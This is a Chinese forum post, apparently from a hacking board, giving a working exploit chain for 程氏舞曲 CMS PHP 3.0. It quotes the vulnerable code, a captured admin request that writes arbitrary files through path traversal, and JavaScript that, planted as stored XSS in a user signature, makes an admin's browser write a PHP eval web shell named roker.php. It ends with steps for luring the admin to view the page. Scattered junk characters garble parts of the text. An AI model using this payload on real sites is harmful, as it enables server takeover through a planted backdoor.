程氏舞曲CMSPHP3.0 储存型xss getshell

admin

这个cms 以前 90有人发了个getshell,当时 是后台验证文件的问题 官网已经修补了，所以重新下了源码 6 S$ Z0 b0 p. {; S: A因为 后台登入 还需要认证码 所以 注入就没看了。 存在 xss 漏洞文件 user/member/skin_edit.php 1 Z* F" \; ~. k& e本帖隐藏的内容<tr><td style="height:130px;"><span class="t"><i>*</i>签名： : w& j0 _. A1 F  c# c' Y" u0 F; {" V   </span><textarea style="width:435px;height:120px;" id="content" name="CS_Qianm"><?php echo $cscms_qianm?>    : G& B. Y2 c# a2 [* Z</textarea></td></tr> 1 ], e" L+ z+ s& X5 Z! E                user/do.php " g  I! n" s6 P0 |  V; | 6 Q- {$ X; G* m9 s; \( H 1 o! L! h5 x, q4 a& qif($op=='zl'){ //资料 8 k" _" b5 G& ~, |                if(empty($CS_QQ)||empty($CS_Nichen)||empty($CS_City)||empty($CS_Email)) ' L7 [; m8 }- @& ^1 c             exit(Msg_Error('抱歉,请把资料填写完整!','javascript:history.go(-1);'));    . n( Y: f; @3 {* ?5 c             $sql="update ".Getdbname('user')." set CS_Nichen='".$CS_Nichen."',CS_Email='".$CS_Email."', # T9 ~1 z5 z8 u: A+ j   ! w* s6 U1 H  }3 {' g             CS_Sex=".$CS_Sex.",CS_City='".$CS_City."',CS_QQ='".$CS_QQ."',CS_Qianm='".$CS_Qianm."' ; d7 I+ L5 `6 d8 k             where CS_Name='".$cscms_name."'";                 if($db->query($sql)){    : ~. q' S4 p) i              exit(Msg_Error('恭喜您，修改成功了!','javascript:history.go(-1);'));                 }else{                  exit(Msg_Error('抱歉，修改失败了!','javascript:history.go(-1);')); 4 n9 E3 e. u; x; d* C  Y+ @. B   - s$ C$ ~0 m  v: a' P             } 1 d" P- c, [! S! F( G 没有 过滤导致xss产生。   |9 V- g) B* O后台 看了下 很奇葩的是可以写任意格式文件。。 + C: y" U3 l5 D; w, p% @; q+ f抓包。。 * w" y' k# Q7 A# H& }! m# k8 B 本帖隐藏的内容POST /admin/skins/skins.php?ac=xgmb&op=go&path=../../skins/index/html/ HTTP/1.1 , i% F% r1 n; _   , ?, b1 ^; p$ m, R. U  M& ?6 JAccept: text/html, application/xhtml+xml, */*    Referer: http://127.0.0.1/admin/skins/ski ... l/&name=aaa.php    Accept-Language: zh-CN : O* N* `3 ~+ @" V$ V1 a6 H   User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0) / x* M) l' @  V0 m) Z2 d3 w# @7 \6 l   Content-Type: application/x-www-form-urlencoded    Accept-Encoding: gzip, deflate    Host: 127.0.0.1 3 p; f. c7 m$ h5 ~5 U1 ]. O   Content-Length: 38   F% [8 M9 Z2 O9 ~0 x   / n  f9 Z+ \0 _# e" a% T- IDNT: 1 * I5 K& a& l0 Y0 {   Connection: Keep-Alive ! l4 ~( h/ K  X7 f+ Z# }   ) M) ^! A4 N0 UCache-Control: no-cache    Cookie: CS_AdminID=1; CS_AdminUserName=aaaa; CS_AdminPassWord=12949e83a49a0989aa46ab7e249ca34d; CS_Quanx=0_1%2C1_1%2C1_2%2C1_3%2C1_4%2C1_5%2C2_1%2C2_2%2C2_3%2C2_4%2C2_5%2C2_6%2C2_7%2C3_1%2C3_2%2C3_3%2C3_4%2C4_1%2C4_2%2C4_3%2C4_4%2C4_5%2C4_6%2C4_7%2C5_1%2C5_2%2C5_3%2C5_4%2C5_5%2C6_1%2C6_2%2C6_3%2C7_1%2C7_2%2C8_1%2C8_2%2C8_3%2C8_4; CS_Login=980bb0dfb9c7ba8ac7676b6f4eea2c4b; CS_AdminUP=1; cs_id=2; cs_name=test; PHPSESSID=36db4a484bdbd090ad9846e3b7f65594    name=aaa.php&content=%3Cs%3E%3Ca%25%3E 0 S0 _- K; ~& [! z . E# p( s3 F# P- ^- @4 i; S* {/ L 于是 构造js如下。 : `% I3 U8 @; O( q 本帖隐藏的内容<script> thisTHost = top.location.hostname;    thisTHost = "http://" + thisTHost + "/admin/skins/skins.php?ac=xgmb&op=go&path=../../skins/index/html/"; ' Z/ r6 u4 t5 m+ {. J! {2 l0 y6 {   8 j8 A9 z- h0 w% M  V/ w3 }/ }function PostSubmit(url, data, msg) { 8 g6 e$ w' ~4 E2 ?$ y    var postUrl = url;        var postData = data;   @8 P* r5 |( V    var msgData = msg; % i! u' E: q& K) D) G( {- E    var ExportForm = document.createElement("FORM"); ; k! K% c; \$ G8 P+ `' m    document.body.appendChild(ExportForm); 6 o6 A& [- Y, o    ExportForm.method = "POST";     var newElement = document.createElement("input"); 4 p6 p5 f! T2 z4 I+ v    newElement.setAttribute("name", "name");     newElement.setAttribute("type", "hidden"); 0 v# D2 w3 ]8 z9 ?" F4 ^+ m    var newElement2 = document.createElement("input");   ~, Q% c' ]1 t- S    newElement2.setAttribute("name", "content"); 8 J( B- A6 f; J    newElement2.setAttribute("type", "hidden");     ExportForm.appendChild(newElement); ( P, p: K0 Q% x7 O' a/ N5 b" g    ExportForm.appendChild(newElement2); * k6 s6 |' A3 P4 \" e* x" N    newElement.value = postData;     newElement2.value = msgData; $ G, n1 A& i0 B9 l( |4 l3 E2 B. T    ExportForm.action = postUrl;     ExportForm.submit(); * j: b# p! d. B2 W! |}; * ^0 f2 ~$ u( z8 b   0 E; {8 s  {1 w0 _+ q% P2 cPostSubmit(thisTHost,"roker.php","<?php @eval($_POST[123]);?>"); . t1 c2 v* m, A# ?   , p. `, I) ]" e2 j' }& l8 C5 X5 Q</script> http://127.0.0.1/user/space.php?ac=edit&op=zl 修改签名处 插入 7 Y! \5 f9 _; I. G# p. y$ M用你的账号给管理写个 私信 或者让他访问  你的主页http://127.0.0.1/home/?uid=2（uid自己改） ( l) s* F& L/ t* c就会 在 skins\index\html\目录下生成 roker.php 一句话。

/ i  r# L5 ~1 T7 {! b9 l) _$ d